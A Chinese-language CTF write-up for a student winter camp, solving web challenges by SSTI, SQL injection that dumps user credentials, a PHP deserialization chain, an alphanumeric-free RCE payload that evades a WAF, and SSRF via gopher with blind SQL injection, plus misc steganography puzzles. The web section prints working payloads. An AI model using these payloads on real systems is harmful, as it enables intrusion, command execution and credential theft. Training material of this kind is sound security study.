ROIS冬令营第三周至第五周WriteUp(更了misc的两题
web
[Week3]SSTItest
payload:username={{lipsum.__globals__["os"].popen("tac ../flag").read()}}&password=1
LinTu的留言板sql注入
测试(以下第一行都在id处输入,第二行都在留言处输入
1 | 1','2')# |
输出:1 说 2
查当前库名
1 | 1',database())# |
输出:1 说 test
查库名
1 | 1',(select group_concat(schema_name) from information_schema.schemata))# |
输出:1 说 mysql,information_schema,performance_schema,sys,sakila,world,test
查表名
1 | 1',(select group_concat(table_name) from information_schema.tables where table_schema='test'))# |
输出:1 说 guestbook,user
查字段
1 | 1',(select group_concat(concat_ws(':',username,password)) from test.user))# |
输出admin及其密码
[Week4]babyphp
刚开头给的函数是backdoor函数,传入六个参数,但是在下面的代码里面,除了在popko类中,其他的并没有调用这个backdoor函数
由题意得,我们应该用到这个backdoor函数
按顺序捋捋应该是:
- 首先是传入一个c,当c中不包含字符串
popko
,就会反序列化c中的字符串; - 反序列化后会调用popko类中的__destruct函数;
- popko类中的__destruct函数中又会调用pipimi类中的__destruct函数;
- __destruct函数中会调用backdoor函数;
首先,构造一个可以被反序列化的字符串c,利用反序列化漏洞,构造一个可以调用backdoor()函数的对象,利用 Popko 类,Popko类有一个 __call() 函数,当left和right值相同,且md5和sha1值相同,它会调用backdoor()函数。
然后,利用 pipimi 类,构造一个可以调用 Popko 类的对象,利用 pipimi 类来构造,调用 Popko 类的 a 函数,从而调用 Popko 类的 __call() 函数。
然后,构造出c后就可以调用backdoor()函数;
构造c
- 传入popkp:php是一种弱语言,strstr()对大小写敏感,可以用Popko大写绕过这样。。
- left和right值相同,且md5和sha1值相同:数组传参;
1 | $popko=new popko(); |
- 得到
O:6:"pipimi":1:{s:1:"a";O:5:"popko":2:{s:4:"left";a:1:{i:0;i:2;}s:5:"right";a:1:{i:0;i:1;}}}
改POPKO
- 绕过__wakeup():序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,2改3;
- 成功调用backdoor函数。
&a=Error
Error类;&b=systemcat%20/f*
指定b的值为systemcat /f*,这是一个命令,它会搜索当前目录下所有以.f结尾的文件。&d=7&e=6&f=13&g=7
指定d,e,f和g的值为7,6,13和7,它们是用来指定Popko类的实例的left和right属性的字符串长度的。
?c=O:6:"pipimi":1:{s:1:"a";O:5:"POPKO":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemcat%20/f*&d=7&e=6&f=13&g=7
[Week4]cachewaf
`cmd=system(‘ls’);发现被过滤,经过测试是system被过滤。
搜个无数字字母rce的,cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=echo 1111;
然后cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=ls /
把/目录下的文件和目录列出来。
但是在cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=cat /f*
提取flag时,flag是错的。
输入cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=cat waf*
发现flag会被替换并且被编码。
。。。然后。。。利用shelI写文件绕过waf这部分还在捋捋。。。但是看到了wp给出的非预期解(?)。。。
1 | cmd=echo `ls /`; |
然后hex解一下就好
[Week4]internal
由sqli可以知道真实的地址要在它服务端本地发出的,才能够进行sql查询。。
由ssrf提示可得,可以利用gopher协议,构造一个数据包然后传进去,使服务器以为是本地发送的请求。
构建如下:url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2
然后利用id进行传参。。
空格可以用/**/
替换,但是不知道为什么我"un"+"ion"
构建不成功,试了大小写双写内联注释URL编码都不行。。。好吧只能一个一个布尔盲注一下
查库名
库名长度为3url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(length(database())=3)
库名第一个字符ASCII值为114(r)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),1,1))=114)
同理可得,第二个字符是(u),第三个是(a)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),2,1))=117)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),3,1))=97)
即,数据库名为rua。
查表名
求当前数据库存在的表的数量
当前数据库存在2个表url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database())/**/=/**/2
查表长度,为4url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(LENGTH((select/**/table_name/**/from/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1)/**/))/**/=/**/4
表名第一个字符ASCII值为102(f)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),1,1))=102
同理可得,第二个字符是(l),第三个是(a),第四个是(g)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),2,1))=108
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),3,1))=97
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),4,1))=103
即,表名是flag。
求列名
求表中列的数量(1个)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag")/**/=/**/1
求表中列的长度,4有输出5没有,所以长度是4url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag"/**/limit/**/0,1),4,1))
第一个字母ASCII值为102(f)url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag"/**/limit/**/0,1),1,1))=102
同理,列名是flag
求字段
求字段数,只有一个。。。很好url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(flag)/**/from/**/flag)=1
求字段长度,24有输出25没有,所以长度是24url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/flag/**/from/**/flag/**/limit/**/0,1),24,1))
然后。。就一个一个的字符的。。试。。或者burp爆破。。再动上一点小脑筋。。。。
24个字符扣掉ROIS{}
还有18个。。没有很多。。
最后解得flag的值
学长给了个python的
1 | import urllib.parse |
Misc
福到了
- png图片用winhex或010 Editor打开,可以在最末端IEND区后发现一个
DM
(但是因为不知道怎么用,很长一段时间没重视它( - Stegsolve可以看到R、G、B的0通道左上角和下面一排均有隐写痕迹,根据提取出来的
fudaole
的信息,可得,将图片翻转(这图不仅倒了还反了。。 - 翻转后再次用Stegsolve打开,r0/g0/b0均有504B开头数据,是zip文件头格式,保存为zip,打开压缩包,里面是一个叫binary的文件
- 学长给了hint是
DM
是个缩写,和一个关键词:“barcode” - 可以联系到DM是DataMatrix的缩写
- 用winhex打开binary,观察十六进制数值可以发现开头是
AAAA..
结尾是FFFF..
- 文件名联想二进制转换可得开头是
101010..
结尾是111111..
- 研究DataMatrix形式可得其最上面一行和最右边一行是黑白格相间,最下面一行和最左边一行是全黑格,跟二进制数值有相符的地方,由此推测出用二进制绘制DataMatrix
1 | binary_value=bin(0xAAAAAAAAA92FA88BA664D1E08EDFA2479912C45CC2A3DD25ED44DA1E8EAFFA6BD154C732A32BCE0BC65491D4A8C9BB1B9110C150E223DD4DD46E8C5EFFFFFFFFAAAAAAAAAAA99283B152D446A2B3D145E74ED7E48885992B9D60A662AB77A05FFC649666CA53AD43B48EC59EBF119825EAF2A2EC82A7B4BBB256E5E6FFFFFFFF) |
- 出来的DataMatrix码找个网站扫扫,即为flag
ez_gugugu
将gugugu.jpg用winhex打开后发现尾部有
PK
和flag.txt
字样分离
用binwalk打开
python binwalk -e gugugu.jpg
输出1
2
3
4DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
102642 0x190F2 End of Zip archive, footer length: 22分离zip文件
python binwalk -D "zip archive:zip" gugugu.jpg
我自己做时应该还能用,不知道为什么写wp时分离不成功了或者在winhex里搜索十六进制数值
FFD9
,复制其后面的十六进制,发现zip文件头损坏,补上504B
,粘贴为zip文件保存zip压缩包提示有密码
根据encode.py写
1 | from PIL import Image |
- 在flag.png上得到压缩包密码,打开压缩包,得到flag